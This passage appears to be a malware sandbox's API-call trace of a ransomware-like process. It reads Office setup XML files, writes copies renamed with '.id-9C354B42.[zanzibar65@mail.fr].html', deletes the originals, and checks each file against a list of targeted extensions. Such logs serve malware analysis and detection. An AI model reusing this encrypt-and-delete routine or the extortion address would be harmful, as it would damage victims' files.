lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.274] GetLastError () returned 0x0 [0040.274] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x5b1, lpOverlapped=0x0) returned 1 [0040.276] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0040.277] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0040.277] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.277] SetEndOfFile (hFile=0x1e8) returned 1 [0040.277] CloseHandle (hObject=0x1e8) returned 1 [0040.278] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.278] SetEndOfFile (hFile=0x184) returned 1 [0040.278] CloseHandle (hObject=0x184) returned 1 [0040.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.279] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0040.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0040.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0040.279] lstrlenW (lpString=".doc") returned 4 [0040.279] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.279] lstrlenW (lpString=".docx") returned 5 [0040.279] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0040.279] lstrlenW (lpString=".pdf") returned 4 [0040.279] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.279] lstrlenW (lpString=".xls") returned 4 [0040.279] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.279] lstrlenW (lpString=".xlsx") returned 5 [0040.279] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0040.279] lstrlenW (lpString=".ppt") returned 4 [0040.279] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0040.279] lstrlenW (lpString=".zip") returned 4 [0040.279] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.279] lstrlenW (lpString=".rar") returned 4 [0040.279] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.279] lstrlenW (lpString=".bz2") returned 4 [0040.279] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.279] lstrlenW (lpString=".7z") returned 3 [0040.279] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0040.280] lstrlenW (lpString=".dbf") returned 4 [0040.280] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0040.280] lstrlenW (lpString=".1cd") returned 4 [0040.280] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0040.280] lstrlenW (lpString=".jpg") returned 4 [0040.280] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0040.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0040.280] lstrlenW (lpString=".doc") returned 4 [0040.280] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.280] lstrlenW (lpString=".docx") returned 5 [0040.280] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0040.280] lstrlenW (lpString=".pdf") returned 4 [0040.280] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.280] lstrlenW (lpString=".xls") returned 4 [0040.280] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.280] lstrlenW (lpString=".xlsx") returned 5 [0040.280] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0040.280] lstrlenW (lpString=".ppt") returned 4 [0040.280] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0040.280] lstrlenW (lpString=".zip") returned 4 [0040.280] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.280] lstrlenW (lpString=".rar") returned 4 [0040.280] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.280] lstrlenW (lpString=".bz2") returned 4 [0040.280] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.280] lstrlenW (lpString=".7z") returned 3 [0040.281] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0040.281] lstrlenW (lpString=".dbf") returned 4 [0040.281] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0040.281] lstrlenW (lpString=".1cd") returned 4 [0040.281] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0040.281] lstrlenW (lpString=".jpg") returned 4 [0040.281] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.281] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.281] lstrlenW (lpString="Proof.XML") returned 9 [0040.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.281] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1458) returned 1 [0040.281] CloseHandle (hObject=0x184) returned 1 [0040.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0040.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.282] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.282] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.282] GetLastError () returned 0x0 [0040.282] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x5b2, lpOverlapped=0x0) returned 1 [0040.524] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0040.524] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0040.524] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.525] SetEndOfFile (hFile=0x1e8) returned 1 [0040.525] CloseHandle (hObject=0x1e8) returned 1 [0040.525] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.525] SetEndOfFile (hFile=0x184) returned 1 [0040.526] CloseHandle (hObject=0x184) returned 1 [0040.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.527] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0040.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0040.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0040.527] lstrlenW (lpString=".doc") returned 4 [0040.527] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.527] lstrlenW (lpString=".docx") returned 5 [0040.527] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0040.527] lstrlenW (lpString=".pdf") returned 4 [0040.527] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.527] lstrlenW (lpString=".xls") returned 4 [0040.527] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.527] lstrlenW (lpString=".xlsx") returned 5 [0040.527] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0040.527] lstrlenW (lpString=".ppt") returned 4 [0040.527] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0040.527] lstrlenW (lpString=".zip") returned 4 [0040.527] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.527] lstrlenW (lpString=".rar") returned 4 [0040.527] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.527] lstrlenW (lpString=".bz2") returned 4 [0040.527] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.527] lstrlenW (lpString=".7z") returned 3 [0040.527] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0040.527] lstrlenW (lpString=".dbf") returned 4 [0040.527] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0040.528] lstrlenW (lpString=".1cd") returned 4 [0040.528] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0040.528] lstrlenW (lpString=".jpg") returned 4 [0040.528] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0040.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0040.528] lstrlenW (lpString=".doc") returned 4 [0040.528] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.528] lstrlenW (lpString=".docx") returned 5 [0040.528] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0040.528] lstrlenW (lpString=".pdf") returned 4 [0040.528] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.528] lstrlenW (lpString=".xls") returned 4 [0040.528] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.528] lstrlenW (lpString=".xlsx") returned 5 [0040.528] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0040.528] lstrlenW (lpString=".ppt") returned 4 [0040.528] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0040.528] lstrlenW (lpString=".zip") returned 4 [0040.528] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.528] lstrlenW (lpString=".rar") returned 4 [0040.528] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.528] lstrlenW (lpString=".bz2") returned 4 [0040.528] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.528] lstrlenW (lpString=".7z") returned 3 [0040.528] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0040.528] lstrlenW (lpString=".dbf") returned 4 [0040.528] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0040.529] lstrlenW (lpString=".1cd") returned 4 [0040.529] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0040.529] lstrlenW (lpString=".jpg") returned 4 [0040.529] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.529] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.529] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0040.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.529] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1450) returned 1 [0040.529] CloseHandle (hObject=0x184) returned 1 [0040.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0040.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.532] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.532] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0040.708] GetLastError () returned 0x0 [0040.708] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x5aa, lpOverlapped=0x0) returned 1 [0040.710] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0040.711] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0040.711] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0040.711] SetEndOfFile (hFile=0x1c4) returned 1 [0040.711] CloseHandle (hObject=0x1c4) returned 1 [0040.712] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.712] SetEndOfFile (hFile=0x184) returned 1 [0040.713] CloseHandle (hObject=0x184) returned 1 [0040.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.713] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0040.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0040.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0040.713] lstrlenW (lpString=".doc") returned 4 [0040.713] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.713] lstrlenW (lpString=".docx") returned 5 [0040.713] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.713] lstrlenW (lpString=".pdf") returned 4 [0040.713] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.713] lstrlenW (lpString=".xls") returned 4 [0040.713] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.713] lstrlenW (lpString=".xlsx") returned 5 [0040.713] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.713] lstrlenW (lpString=".ppt") returned 4 [0040.713] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0040.714] lstrlenW (lpString=".zip") returned 4 [0040.714] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.714] lstrlenW (lpString=".rar") returned 4 [0040.714] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.714] lstrlenW (lpString=".bz2") returned 4 [0040.714] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.714] lstrlenW (lpString=".7z") returned 3 [0040.714] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0040.714] lstrlenW (lpString=".dbf") returned 4 [0040.714] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0040.714] lstrlenW (lpString=".1cd") returned 4 [0040.714] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0040.714] lstrlenW (lpString=".jpg") returned 4 [0040.714] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0040.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0040.714] lstrlenW (lpString=".doc") returned 4 [0040.714] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.714] lstrlenW (lpString=".docx") returned 5 [0040.714] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.714] lstrlenW (lpString=".pdf") returned 4 [0040.714] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.714] lstrlenW (lpString=".xls") returned 4 [0040.714] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.714] lstrlenW (lpString=".xlsx") returned 5 [0040.714] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.714] lstrlenW (lpString=".ppt") returned 4 [0040.714] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0040.714] lstrlenW (lpString=".zip") returned 4 [0040.715] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.715] lstrlenW (lpString=".rar") returned 4 [0040.715] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.715] lstrlenW (lpString=".bz2") returned 4 [0040.715] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.715] lstrlenW (lpString=".7z") returned 3 [0040.715] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0040.715] lstrlenW (lpString=".dbf") returned 4 [0040.715] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0040.715] lstrlenW (lpString=".1cd") returned 4 [0040.715] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0040.715] lstrlenW (lpString=".jpg") returned 4 [0040.715] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.715] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.715] lstrlenW (lpString="SETUP.XML") returned 9 [0040.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.716] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=6241) returned 1 [0040.716] CloseHandle (hObject=0x184) returned 1 [0040.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0040.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 